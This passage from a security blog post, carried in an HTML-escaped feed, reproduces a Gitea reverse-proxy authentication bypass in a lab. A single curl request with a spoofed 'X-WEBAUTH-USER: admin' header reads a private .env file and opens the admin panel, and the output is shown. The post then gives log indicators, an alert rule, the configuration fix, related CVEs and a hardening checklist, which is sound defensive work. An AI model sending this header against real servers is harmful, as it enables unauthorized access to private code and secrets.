  &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="nv"&gt;GITEA__security__REVERSE_PROXY_TRUSTED_PROXIES&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'*'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="nv"&gt;GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  gitea/gitea:1.26.2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I created an admin and a private repository called secret-infra, with a .env inside it. Exactly the kind of thing people keep a private git for:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;DB_PASSWORD&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;SuperSecret_Prod_2026&lt;/span&gt;
&lt;span class="py"&gt;AWS_SECRET_KEY&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;AKIA_fake_prod_key_xyz&lt;/span&gt;
&lt;span class="py"&gt;STRIPE_LIVE&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;sk_live_fake_demo&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  The attack
&lt;/h3&gt;

&lt;p&gt;First I look at the service as a random passerby from the internet, with zero access:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;GET /admin/secret-infra/raw/branch/main/.env  -&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;404 Not Found
&lt;span class="gp"&gt;GET /api/v1/user                              -&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;401 Unauthorized
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Closed, as it should be. Now I add one header:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'X-WEBAUTH-USER: admin'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  http://target:3000/admin/secret-infra/raw/branch/main/.env
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;DB_PASSWORD&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;SuperSecret_Prod_2026&lt;/span&gt;
&lt;span class="py"&gt;AWS_SECRET_KEY&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;AKIA_fake_prod_key_xyz&lt;/span&gt;
&lt;span class="py"&gt;STRIPE_LIVE&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;sk_live_fake_demo&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's it. Private stopped being private. Let's go to the admin panel:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;GET /-/admin        no header     -&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;303, redirect to login
&lt;span class="gp"&gt;GET /-/admin        with header   -&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;200, admin dashboard
&lt;span class="gp"&gt;GET /-/admin/users  with header   -&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;200, list of all &lt;span class="nb"&gt;users&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Full control. No password, no token, no account.&lt;/p&gt;

&lt;h3&gt;
  
  
  One detail so you don't fool yourself
&lt;/h3&gt;

&lt;p&gt;The header works on web routes: the UI, raw files, the admin panel. It does not work on /api/v1, that path wants a token, and the API honestly returned 401 to me. That sounds reassuring, but it's too early to relax. The attacker is already sitting in the web UI as admin, which means through that same settings form they issue themselves a personal API token. And now they have the API too. Just two steps instead of one.&lt;/p&gt;

&lt;h3&gt;
  
  
  How to catch it in the logs
&lt;/h3&gt;

&lt;p&gt;The attack leaves a distinctive trail. Successful responses on private and admin paths from an address that has no business being there:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;router: completed GET /admin/secret-infra/raw/branch/main/.env for 172.30.0.3, 200 OK
router: completed GET /-/admin for 172.30.0.3, 200 OK
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Alert rule: 200 OK on /-/admin or on raw files of private repositories from an IP that is not your reverse proxy. If there's a single proxy in front of Gitea, then any hit on the admin panel from an address other than its own is already an incident.&lt;/p&gt;

&lt;h3&gt;
  
  
  The fix
&lt;/h3&gt;

&lt;p&gt;Trust the header only from the real proxy, not from everyone:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="nv"&gt;GITEA__security__REVERSE_PROXY_TRUSTED_PROXIES&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'10.0.0.5'&lt;/span&gt;   &lt;span class="c"&gt;# IP/CIDR of your proxy&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I recreated the container with this value and repeated the exact same exploit from the exact same source:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;GET /-/admin with header                                  -&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;401
&lt;span class="gp"&gt;GET /admin/secret-infra/raw/branch/main/.env with header  -&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;401
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The header from an untrusted address is now simply ignored. Properly, you should update to 1.26.4, where the asterisk was removed from the default. Not to 1.26.3, that one had a regression in the SSRF patch. And if you don't need reverse-proxy authentication at all, turn it off and there's nothing left to discuss.&lt;/p&gt;

&lt;h2&gt;
  
  
  This is not a one-off bug
&lt;/h2&gt;

&lt;p&gt;The really unpleasant part shows up when you look at Gitea's whole 2026. The disease is the same, broken access control, but different organs get sick.&lt;/p&gt;

&lt;p&gt;The built-in container registry, CVE-2026-27771. Private images were served to anonymous users. The word "private" on an image repo turned out to be just a label in the interface. At the level of the OCI protocol, the one Docker and Kubernetes actually use to pull images, authentication wasn't checked at all. The bug lived for about four years, roughly 30,000 instances on the internet were exposed, and Forgejo was affected too. Same story: the system thinks access is restricted, and it isn't.&lt;/p&gt;

&lt;p&gt;Then webhooks and migrations, CVE-2026-22874, an SSRF caused by a leaky allow-list filter, from which you could reach internal addresses. Then LFS and CVE-2026-28740: an authorization bypass that gave read access to private repositories and let you reuse objects between repositories without permission.&lt;/p&gt;

&lt;p&gt;Registry, LFS, webhooks, reverse proxy. Every fancy feature bolted on top of git dragged in its own access-control hole. That is the price of rich functionality. The more a service can do, the more places it has where "private" suddenly turns out to be public.&lt;/p&gt;

&lt;h2&gt;
  
  
  If you run Gitea, check today
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Version. 1.26.4 or newer. Don't take 1.26.3, it has a regression in the SSRF fix.&lt;/li&gt;
&lt;li&gt;REVERSE_PROXY_TRUSTED_PROXIES. Not an asterisk, a specific IP or CIDR of your proxy. Don't need proxy auth? Turn it off.&lt;/li&gt;
&lt;li&gt;Built-in registry. Updating is mandatory because of CVE-2026-27771. Quick stopgap against anonymous access: REQUIRE_SIGNIN_VIEW=true in the service section.&lt;/li&gt;
&lt;li&gt;Network. Don't expose Gitea as a bare port to the outside. Put a proxy or WAF in front, network policies, restrictions on admin paths.&lt;/li&gt;
&lt;li&gt;Monitoring. Alert on 200 OK for /-/admin and for raw files of private repos from foreign addresses.&lt;/li&gt;
&lt;li&gt;Exposure. Scan yourself from the outside and see what's actually sticking out. Registry and LFS are often open wider than the owner thinks.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  What to take away
&lt;/h2&gt;

&lt;p&gt;One asterisk in a default config, and there's your 9.8 hole. This isn't about Gitea and it isn't about this specific CVE. Official images have trained us to run someone else's defaults without looking, and "works out of the box" and "secure out of the box" are two very different states. Sometimes there is exactly one character between private and public. Here it was an asterisk.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;The lab was built in an isolated environment, all secrets are fake. This is material for defending your own systems.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>devops</category>
      <category>docker</category>
      <category>cybersecurity</category>
    </item>
  </channel>
</rss>
